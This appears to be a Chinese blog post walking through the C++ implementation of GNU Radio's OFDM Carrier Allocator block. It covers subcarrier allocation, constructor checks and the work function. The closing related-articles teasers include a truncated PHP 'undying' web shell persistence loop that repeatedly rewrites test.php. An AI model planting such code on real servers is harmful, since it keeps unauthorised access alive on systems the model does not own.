GNU Radio之OFDM Carrier Allocator底层C++实现

文章目录

  • 前言
  • 一、OFDM Carrier Allocator 简介
  • 二、底层 C++ 实现
    • 1、make 函数
    • 2、ofdm_carrier_allocator_cvc_impl 函数
    • 3、calculate_output_stream_length 函数
    • 4、work 函数
    • 5、~ofdm_carrier_allocator_cvc_impl 函数
  • 三、OFDM 数据格式


前言

OFDM Carrier Allocator 是 OFDM 子载波分配模块,也即串并转换模块。该模块的作用是给每个子载波分配相应的值,数据相应地实现串并转换。本文记录其底层 C++ 代码实现。


一、OFDM Carrier Allocator 简介

OFDM Carrier Allocator:OFDM 子载波分配模块,也即串并转换模块。该模块的作用是给每个子载波分配相应的值,数据相应地实现串并转换。

双击 OFDM Carrier Allocator 这个模块,会出现下面这样的属性图:
在这里插入图片描述
官方示例中这里设总载波个数为 64,载波类型包括以下几种:数据子载波(Occupied carriers)、导频子载波(Pilot carriers)、虚拟子载波(Virtual carriers, VC)和直流子载波(DC carrier)。 其中数据子载波可以用来携带数据和同步字,导频载波用于发射特定符号数据,空载波的值默认为 0。在试验中发送端 OFDM 子载波的编号规则是:为了保持左右对称,将 64 个子载波编号为 [-32,31]。其中,最左边 6 个子载波 [-32,-27] 和最右边的 5 个子载波 [26,31] 称为虚拟载波,即不使用的载波它的值默认为 0,其作用是为了减少带外功率和抑制 ACI;编号为[-26,-22]、[-20,-8]、[-6,-1]、[1,6]、[8,20]、[22,26] 都是数据子载波;编号为 -21、-7、7、21 为导频子载波;编号为 0 为直流子载波,作用是降低 OFDM 信号的峰值信噪比以及硬件电路的复杂度;

由此可知,64 个子载波中有效子载波只有 48 个这样我们便可以计算出承载一帧有效数据(包括帧头和负载共 448 个符号)所需要的 OFDM 符号数(将 64 个子载波组成的并行数据称为一个 OFDM 符号),即 448/48=9.33 个 OFDM 符号,也就是说传输一帧有效数据需要 10 个 OFDM 符号。另外,为了接收端解调方便,实验中的 OFDM 信号需要加入 2 个符号的同步字置于一帧有效数据的开头。所以,最后传输的一帧数据中包含了 12 个 OFDM 字符, 2 个同步字和 10 个有效数据

二、底层 C++ 实现

根据维基百科官方资料可以看到其实现的 C++ 代码所在的源文件:OFDM_Carrier_Allocator
在这里插入图片描述
这里我们重点查看 ofdm_carrier_allocator_cvc_impl.cc 文件的内容,使用 source insight 我们可以看到这 5 个实现函数:
在这里插入图片描述
当你在 GNU Radio Companion (GRC) 图中使用 OFDM Carrier Allocator 模块时,模块的生命周期会遵循特定的调用顺序,涉及你提到的函数。这些函数的调用顺序反映了模块从创建到执行再到销毁的整个过程。以下是一个高层次的概览:

    1. make()
    • 作用:这是一个静态工厂方法,用于创建 OFDM Carrier Allocator 模块的实例。在 GRC 生成的 Python 代码中,当流图初始化并创建模块实例时,会首先调用此方法
    • 调用时机:流图初始化时。
    1. ofdm_carrier_allocator_cvc_impl()
    • 作用:这是构造函数,由 make() 方法内部调用,用于初始化模块实例。它设置模块的初始状态,包括配置参数和内部变量的初始化。
    • 调用时机:紧随 make() 方法之后。
    1. calculate_output_stream_length(const gr_vector_int& ninput_items)
    • 作用:这个方法计算输出流的长度,基于输入项的数量。它用于确保流控制逻辑正确处理输入和输出之间的大小关系,尽管它可能不在所有模块中都显式实现。
    • 调用时机:这个方法在处理数据(即调用 work() 方法)之前被调用,但具体是否被调用以及调用时机取决于 GNU Radio 框架的版本和具体实现。
    1. work(int noutput_items, gr_vector_int& ninput_items, gr_vector_const_void_star& input_items, gr_vector_void_star& output_items)
    • 作用:这是核心处理函数,负责实际的数据处理逻辑,包括读取输入数据,执行 OFDM 载波分配,以及输出处理后的数据
    • 调用时机:流图运行时,反复调用。每次处理一批数据时都会调用。
    1. ~ofdm_carrier_allocator_cvc_impl()
    • 作用:析构函数,用于清理资源,如内部分配的内存等。
    • 调用时机:模块销毁时调用,比如流图停止运行并进行清理时。

make() 开始,通过构造函数初始化,到 work() 方法的重复调用处理数据,再到析构函数的清理工作,这一系列函数定义了 OFDM Carrier Allocator 模块在 GNU Radio 流图中的生命周期和行为。

1、make 函数

ofdm_carrier_allocator_cvc::sptr ofdm_carrier_allocator_cvc::make(int fft_len,const std::vector<std::vector<int>>& occupied_carriers,const std::vector<std::vector<int>>& pilot_carriers,const std::vector<std::vector<gr_complex>>& pilot_symbols,const std::vector<std::vector<gr_complex>>& sync_words,const std::string& len_tag_key,const bool output_is_shifted)
{return gnuradio::get_initial_sptr(new ofdm_carrier_allocator_cvc_impl(fft_len,occupied_carriers,pilot_carriers,pilot_symbols,sync_words,len_tag_key,output_is_shifted));
}

这段代码展示了 GNU Radio 中一个典型的工厂方法模式实现,用于创建和初始化 ofdm_carrier_allocator_cvc 模块的一个实例。这个方法属于 ofdm_carrier_allocator_cvc 类,是一个静态成员函数,意味着它可以不通过对象实例而直接调用。这个方法的目的是简化对象的创建和管理,同时隐藏具体实现类 ofdm_carrier_allocator_cvc_impl 的细节。

  • 函数参数
    • fft_len:整数,指定FFT(快速傅立叶变换)的长度。
    • occupied_carriers:一个二维整数向量,指定了哪些载波被用于传输数据。
    • pilot_carriers:一个二维整数向量,指定了哪些载波被用作导频。
    • pilot_symbols:一个二维 gr_complex 向量,包含导频载波上的符号。
    • sync_words:一个二维 gr_complex 向量,包含用于帧同步的同步字。
    • len_tag_key:字符串,指定了长度标签的键,用于流标签系统中。
    • output_is_shifted:布尔值,指示输出是否应该被频移。
  • 函数实现
    函数体内部,make 方法通过调用 new 来创建 ofdm_carrier_allocator_cvc_impl 的一个新实例,将所有接收到的参数传递给其构造函数。然后,它使用 gnuradio::get_initial_sptr 函数将裸指针包装为智能指针(gnuradio::get_initial_sptr 是 GNU Radio中用于创建智能指针的辅助函数,保证了对象的安全管理和自动内存管理)。
  • 智能指针
    返回值是 ofdm_carrier_allocator_cvc::sptr,即指向 ofdm_carrier_allocator_cvc 的智能指针。在 GNU Radio 中,智能指针主要用于管理模块实例的生命周期,避免内存泄露。智能指针在对象不再被使用时会自动释放关联的资源。

2、ofdm_carrier_allocator_cvc_impl 函数

这段代码负责在 OFDM 系统中配置和准备用于传输的帧,包括数据载波、导频载波及其符号,以及同步字的分配。通过精确控制这些参数,可以优化信号的传输效率和质量,同时简化接收端的信号处理流程。

ofdm_carrier_allocator_cvc_impl::ofdm_carrier_allocator_cvc_impl(// 参数说明:int fft_len,												// FFT(快速傅里叶变换)的长度。const std::vector<std::vector<int>>& occupied_carriers,		// 被占用的载波,即用于传输数据的频率位置。const std::vector<std::vector<int>>& pilot_carriers,		// 导频载波,用于辅助接收端的信道估计。const std::vector<std::vector<gr_complex>>& pilot_symbols,	// 导频符号,已知的信号,用于帮助接收端进行信道估计。const std::vector<std::vector<gr_complex>>& sync_words,		// 同步字,用于帧同步。const std::string& len_tag_key,								// 长度标签键,用于标记流的长度。const bool output_is_shifted)								// 指示输出是否被移位的布尔值。// 构造函数初始化列表 tagged_stream_block 表明该组件是一个标记流块,用于处理带有特定标记的数据流。: tagged_stream_block("ofdm_carrier_allocator_cvc",io_signature::make(1, 1, sizeof(gr_complex)),io_signature::make(1, 1, sizeof(gr_complex) * fft_len),len_tag_key),// 成员变量初始化:d_fft_len(fft_len),						// FFT长度d_occupied_carriers(occupied_carriers),	// 被占用的载波d_pilot_carriers(pilot_carriers),			// 导频载波d_pilot_symbols(pilot_symbols),			// 导频符号d_sync_words(sync_words),					// 同步字d_symbols_per_set(0),						// 记录在一个OFDM符号集中,所有被占用的载波上分配的数据和导频符号的总数;"集"指的是一个OFDM帧d_output_is_shifted(output_is_shifted)	// 指示输出是否被移位的布尔值。
{// Sanity checks// If that is is null, the input is wrong -> force user to use ((),) in python// 检查被占用的载波是否为空,如果是,则抛出异常。if (d_occupied_carriers.empty()) {throw std::invalid_argument("Occupied carriers must be of type vector of vector i.e. ((),).");}// 检查每个数据载波索引是否在有效范围内(即非负且小于FFT长度),并对于output_is_shifted为真的情况,调整载波索引for (unsigned i = 0; i < d_occupied_carriers.size(); i++) {for (unsigned j = 0; j < d_occupied_carriers[i].size(); j++) {if (occupied_carriers[i][j] < 0) {d_occupied_carriers[i][j] += d_fft_len;}if (d_occupied_carriers[i][j] > d_fft_len || d_occupied_carriers[i][j] < 0) {throw std::invalid_argument("data carrier index out of bounds");}if (d_output_is_shifted) {d_occupied_carriers[i][j] =(d_occupied_carriers[i][j] + fft_len / 2) % fft_len;}}}// 检查  导频载波是否为空,如果是,则抛出异常。if (d_pilot_carriers.empty()) {throw std::invalid_argument("Pilot carriers must be of type vector of vector i.e. ((),).");}// 检查每个导频载波索引是否在有效范围内(即非负且小于FFT长度),并对于output_is_shifted为真的情况,调整载波索引for (unsigned i = 0; i < d_pilot_carriers.size(); i++) {for (unsigned j = 0; j < d_pilot_carriers[i].size(); j++) {if (d_pilot_carriers[i][j] < 0) {d_pilot_carriers[i][j] += d_fft_len;}if (d_pilot_carriers[i][j] > d_fft_len || d_pilot_carriers[i][j] < 0) {throw std::invalid_argument("pilot carrier index out of bounds");}if (d_output_is_shifted) {d_pilot_carriers[i][j] = (d_pilot_carriers[i][j] + fft_len / 2) % fft_len;}}}// 检查导频符号是否为空,如果是,则抛出异常。if (d_pilot_symbols.empty()) {throw std::invalid_argument("Pilot symbols must be of type vector of vector i.e. ((),).");}// 确保每个导频载波的大小与相应的导频符号向量的大小匹配。for (unsigned i = 0; i < std::max(d_pilot_carriers.size(), d_pilot_symbols.size());i++) {if (d_pilot_carriers[i % d_pilot_carriers.size()].size() !=d_pilot_symbols[i % d_pilot_symbols.size()].size()) {throw std::invalid_argument("pilot_carriers do not match pilot_symbols");}}// 验证同步字的长度与 FFT 长度相匹配。for (unsigned i = 0; i < d_sync_words.size(); i++) {if (d_sync_words[i].size() != (unsigned)d_fft_len) {throw std::invalid_argument("sync words must be fft length");}}// 计算每组被占用的符号总数。for (unsigned i = 0; i < d_occupied_carriers.size(); i++) {d_symbols_per_set += d_occupied_carriers[i].size();}set_tag_propagation_policy(TPP_DONT);	// 置标记传播策略为 TPP_DONT,不传播任何标记。set_relative_rate((uint64_t)d_symbols_per_set, (uint64_t)d_occupied_carriers.size());	// 设置相对速率,影响处理数据的速率。
}

3、calculate_output_stream_length 函数

这段代码是 ofdm_carrier_allocator_cvc_impl 类的一个成员函数,用于计算输出流的长度,基于输入项的数量。这个函数对于确保 OFDM 调制过程中输入和输出流的长度匹配至关重要。

int ofdm_carrier_allocator_cvc_impl::calculate_output_stream_length(const gr_vector_int& ninput_items) 	// 一个整数向量,其中每个元素代表对应输入流中的项目数目; 对于大多数基于流的处理模块,这个向量可能只有一个元素,因为它们通常只处理一个输入流。
{int nin = ninput_items[0];			// 表示输入流中的项目数int nout = (nin / d_symbols_per_set) * d_occupied_carriers.size();	// 计算的输出项的基本数目int k = 0;// 处理余下的输入项; 使用一个循环来处理不足以形成一个完整 OFDM 符号集的余下输入项。for (int i = 0; i < nin % d_symbols_per_set; k++) {	// i 变量用于累加当前处理的输入项数目,而 k 变量用于迭代被占用的载波集合。nout++;i += d_occupied_carriers[k % d_occupied_carriers.size()].size();	// 确保了即使在处理最后一批输入项时,也能正确考虑每个被占用载波集合的大小}return nout + d_sync_words.size();	// 这个长度包括了基于输入项的计算结果,以及为同步字预留的额外输出项
}

这个函数通过精确计算在给定输入项数目的情况下,需要生成多少个输出项来确保 OFDM 调制的正确性。它不仅考虑了每个 OFDM 符号集内的符号总数和被占用载波的集合大小,还考虑了同步字的需求。通过这种方式,ofdm_carrier_allocator_cvc_impl 能够确保输出流长度恰当地匹配输入流长度和 OFDM 调制过程的需求。

示例中 64 个子载波编号为 [-32,31],将其变为 [0, 63]
在这里插入图片描述

4、work 函数

work 函数负责在 OFDM 调制过程中的载波分配工作,包括同步字、数据符号和导频符号的映射。通过这种方式,确保了 OFDM 信号能够被正确地组装并准备好发送。这个过程不仅涉及到信号处理的实际操作,还包括流标签的管理,以确保流中的元数据被正确处理和传递。

int ofdm_carrier_allocator_cvc_impl::work(int noutput_items,gr_vector_int& ninput_items,gr_vector_const_void_star& input_items,gr_vector_void_star& output_items)
{// 输入输出数据类型转换,以便于处理复数数据const gr_complex* in = (const gr_complex*)input_items[0];gr_complex* out = (gr_complex*)output_items[0];std::vector<tag_t> tags;memset((void*)out, 0x00, sizeof(gr_complex) * d_fft_len * noutput_items);	// 初始化输出缓冲区// Copy Sync wordfor (unsigned i = 0; i < d_sync_words.size(); i++) {memcpy((void*)out, (void*)&d_sync_words[i][0], sizeof(gr_complex) * d_fft_len);	// 将预定义的同步字复制到输出流的开始部分,这些同步字用于接收端的帧同步。out += d_fft_len;}// Copy data symbols// 将输入数据符号映射到被占用的 OFDM 载波上。这一过程考虑了载波的集合配置和当前处理的数据符号集合。long n_ofdm_symbols = 0; // Number of output itemsint curr_set = 0;int symbols_to_allocate = d_occupied_carriers[0].size();int symbols_allocated = 0;for (int i = 0; i < ninput_items[0]; i++) {if (symbols_allocated == 0) {// Copy all tags associated with these input symbols onto this OFDM symbol// 复制与输入符号相关联的所有标签到输出 OFDM 符号上,保持流标签系统中的信息。get_tags_in_range(tags,0,nitems_read(0) + i,nitems_read(0) + std::min(i + symbols_to_allocate, (int)ninput_items[0]));for (unsigned t = 0; t < tags.size(); t++) {add_item_tag(0,nitems_written(0) + n_ofdm_symbols +(n_ofdm_symbols == 0 ? 0 : d_sync_words.size()),tags[t].key,tags[t].value);}n_ofdm_symbols++;}out[(n_ofdm_symbols - 1) * d_fft_len +d_occupied_carriers[curr_set][symbols_allocated]] = in[i];symbols_allocated++;if (symbols_allocated == symbols_to_allocate) {curr_set = (curr_set + 1) % d_occupied_carriers.size();symbols_to_allocate = d_occupied_carriers[curr_set].size();symbols_allocated = 0;}}// Copy pilot symbols// 在数据符号映射完成后,将导频符号映射到指定的导频载波上。这些导频符号对于接收端的信道估计至关重要。for (int i = 0; i < n_ofdm_symbols; i++) {for (unsigned k = 0; k < d_pilot_carriers[i % d_pilot_carriers.size()].size();k++) {out[i * d_fft_len + d_pilot_carriers[i % d_pilot_carriers.size()][k]] =d_pilot_symbols[i % d_pilot_symbols.size()][k];}}return n_ofdm_symbols + d_sync_words.size();	// 返回处理完成的OFDM符号数量,包括数据符号和同步字。
}

5、~ofdm_carrier_allocator_cvc_impl 函数

析构函数,用于清理资源,如内部分配的内存等。

ofdm_carrier_allocator_cvc_impl::~ofdm_carrier_allocator_cvc_impl() {}

三、OFDM 数据格式

经过子载波分配模块和 IFFT 后的 OFDM 数据格式大致如下面形式:
在这里插入图片描述


我的qq:2442391036,欢迎交流!


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/289694.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(免费分享)基于springboot,vue超市管理系统

开发工具&#xff1a;IDEA 服务器&#xff1a;Tomcat9.0&#xff0c; jdk1.8 项目构建&#xff1a;maven 数据库&#xff1a;mysql5.7 项目采用前后端分离 前端技术&#xff1a;vueelementUI 服务端技术&#xff1a;springbootmybatis-plusredis 本项目分为系统管理员、…

24. UE5 RPG制作属性面板(二)

在上一篇中&#xff0c;我们创建属性面板的大部分样式&#xff0c;这一篇里面接着制作。 在这一篇里我们需要有以下几个方面&#xff1a; 在界面增加一个属性按钮。属性按钮增加事件&#xff0c;点击时可以打开属性面板&#xff0c;属性面板打开时无法再次点击按钮。点击属性面…

iPhone用GPT替代Siri

shigen坚持更新文章的博客写手&#xff0c;擅长Java、python、vue、shell等编程语言和各种应用程序、脚本的开发。记录成长&#xff0c;分享认知&#xff0c;留住感动。 个人IP&#xff1a;shigen 前一段时间&#xff0c;因为iCloud协议的更新&#xff0c;我的云盘空间无法正常…

什么是RISC-V?开源 ISA 如何重塑未来的处理器设计

RISC-V代表了处理器架构的范式转变&#xff0c;特点是其开源模型简化了设计理念并促进了全球community-driven的开发。RISC-V导致了处理器技术发展前进方式的重大转变&#xff0c;提供了一个不受传统复杂性阻碍的全新视角。 RISC-V起源于加州大学伯克利分校的学术起点&#xff…

HarmonyOS 应用开发之UIAbility组件间交互(设备内)

UIAbility是系统调度的最小单元。在设备内的功能模块之间跳转时&#xff0c;会涉及到启动特定的UIAbility&#xff0c;该UIAbility可以是应用内的其他UIAbility&#xff0c;也可以是其他应用的UIAbility&#xff08;例如启动三方支付UIAbility&#xff09;。 本文将从如下场景…

深入Spark与LDA:大规模文本主题分析实战

使用LDA模型和Spark进行文本主题分析 本篇博客介绍了如何使用LDA&#xff08;潜在狄利克雷分配&#xff09;模型和Spark进行文本主题分析。我们的目标是从大量的用户评论中提取出主题。 1. 环境设置 首先&#xff0c;我们需要导入所需的库&#xff0c;包括jieba&#xff08;…

如何制作蛋糕店小程序_开启您的蛋糕店小程序之旅

甜蜜滋味&#xff0c;一触即达——开启您的蛋糕店小程序之旅 在这个快节奏的时代&#xff0c;人们对美食的追求从未停歇。尤其是那些色香味俱佳、口感细腻的蛋糕&#xff0c;更是成为了许多人生活中的小确幸。然而&#xff0c;忙碌的工作和生活常常让我们无法亲自前往蛋糕店&a…

【QT入门】 Qt自定义信号后跨线程发送信号

往期回顾&#xff1a; 【QT入门】 lambda表达式(函数)详解-CSDN博客 【QT入门】 Qt槽函数五种常用写法介绍-CSDN博客 【QT入门】 Qt实现自定义信号-CSDN博客 【QT入门】 Qt自定义信号后跨线程发送信号 由于Qt的子线程是无法直接修改ui&#xff0c;需要发送信号到ui线程进行修改…

Swagger3探索之游龙入海

引言 后端开发中常用的接口调用工具一般使用Postman、ApiPost工具&#xff0c;但后期需要与前端联调&#xff0c;要补充接口文档花费大量时间&#xff0c;此时Swagger3应运而生&#xff0c;大大提高沟通交流的效率。 引用依赖 <!-- Swagger3 调用方式 http://ip:port/swa…

【容器源码篇】Set容器(HashSet,LinkedHashSet,TreeSet的特点)

文章目录 ⭐容器继承关系&#x1f339;Set容器&#x1f5d2;️HashSet源码解析构造方法public HashSet()public HashSet(Collection<? extends E> c)public HashSet(int initialCapacity, float loadFactor)HashSet(int initialCapacity, float loadFactor, boolean dum…

Mysql数据库:高级SQL语言详解

目录 前言 一、按关键字排序查询 1、单字段排序 1.1 按某一字段升序排序 1.2 按某一字段降序排序 1.3 结合where进行条件进行排序 2、多字段排序 2.1 按多字段升序排序 2.2 按多字段降序排序 2.3 案例操作 3、区间判断及查询不重复记录 3.1 区间判断 3.1.1 AND/OR…

iOS - Runtime-API

文章目录 iOS - Runtime-API1. Runtime应用1.1 字典转模型1.2 替换方法实现1.3 利用关联对象给分类添加属性1.4 利用消息转发机制&#xff0c;解决方法找不到的异常问题 2. Runtime-API2.1 Runtime API01 – 类2.1.1 动态创建一个类&#xff08;参数&#xff1a;父类&#xff0…

Linux课程____Samba文件共享服务

一、 Samba服务基础 SMB协议&#xff0c;服务消息块 CIFS协议&#xff0c;通用互联网文件系统 1.Samba 服务器的主要程序 smbd:提供对服务器中文件、打印资源的共享访问 nmbd:提供基于 NetBlOS 主机名称的解析 2.目录文件 /etc/samba/smb.conf 检查工具&#xff1a;test…

开源 | 电动汽车充换电解决方案,从智能硬件到软件系统,全部自主研发

文章目录 一、产品功能部分截图1.手机端&#xff08;小程序、安卓、ios&#xff09;2.PC端 二、小程序体验账号以及PC后台体验账号1.小程序体验账号2.PC后台体验账号关注公众号获取最新资讯 三、产品简介&#xff1f;1. 充电桩云平台&#xff08;含硬件充电桩&#xff09;&…

【全套源码教程】基于SpringBoot+MyBatis+Vue的电商智慧仓储管理系统的设计与实现

前言 博主简介&#x1f468;&#x1f3fc;‍⚕️&#xff1a;国内某一线互联网公司全栈工程师&#x1f468;&#x1f3fc;‍&#x1f4bb;&#xff0c;业余自媒体创作者&#x1f4bb;&#xff0c;CSDN博客专家&#x1f3c6;&#xff0c;Java领域优质创作者&#x1f4d5;&#x…

Java实现猜数字游戏:编程入门之旅

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

新能源汽车充电桩站点烟火AI识别检测算法应用方案

新能源汽车作为现代科技与环保理念的完美结合&#xff0c;其普及和应用本应带给人们更加便捷和绿色的出行体验。然而&#xff0c;近年来新能源汽车充电火灾事故的频发&#xff0c;无疑给这一领域投下了巨大的阴影。这不禁让人深思&#xff0c;为何这一先进的交通工具在充电过程…

【Leetcode】单链表常见题

&#x1f525;个人主页&#xff1a;Quitecoder &#x1f525;专栏&#xff1a;Leetcode刷题 本节内容我们来讲解常见的几道单链表的题型&#xff0c;文末会赋上单链表增删查&#xff0c;初始化等代码 目录 1.移除链表元素2.链表的中间节点3.返回倒数第K个节点&#xff1a;4.环…

It takes two (搜索)

本题链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 题目&#xff1a; 样例&#xff1a; 输入 3 4 AAAO AAAA AAAA 输出 NO 思路&#xff1a; 根据题目意思&#xff0c;如果存在的 A 联通不可以成为 矩形&#xff0c;输出 NO&#xff0c;否则输出 YES 这道题看数据范…

windwos权限维持

1.php 不死马权限维持 <?php ignore_user_abort(); //关掉浏览器&#xff0c;PHP脚本也可以继续执行. set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去 $interval 5; // 每隔*秒运行 do { $filename test.php; if(file_exists($filename)) { echo…